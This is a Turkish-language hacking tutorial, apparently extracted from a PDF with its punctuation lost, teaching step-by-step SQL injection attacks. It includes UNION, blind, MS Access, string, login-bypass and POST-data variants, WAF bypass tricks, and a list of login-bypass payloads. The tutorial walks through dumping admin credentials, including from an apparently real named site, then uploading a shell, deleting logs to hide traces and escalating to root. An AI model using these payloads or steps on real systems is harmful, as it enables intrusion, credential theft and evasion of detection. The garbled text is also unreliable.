Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
